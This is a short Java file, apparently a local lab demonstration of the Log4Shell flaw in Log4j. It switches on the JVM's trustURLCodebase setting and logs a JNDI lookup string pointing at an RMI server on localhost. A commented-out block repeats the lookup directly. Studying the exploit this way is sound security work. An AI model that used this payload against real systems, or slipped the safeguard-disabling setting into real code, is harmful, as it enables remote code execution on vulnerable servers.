package top.wilsonlv.log4j.jndi.attack;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.NamingException;

/**
 * @author lvws
 * @since 2021-12-11
 */
public class Log4jClient {

    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        Logger logger = LogManager.getLogger(Log4jClient.class);
        logger.error("${jndi:rmi://localhost:1099/attackCode}");

//        String uri = "rmi://localhost:1099/attackCode";
//        Context ctx = new InitialContext();
//        Object lookup = ctx.lookup(uri);
//        System.out.println(lookup);
    }

}
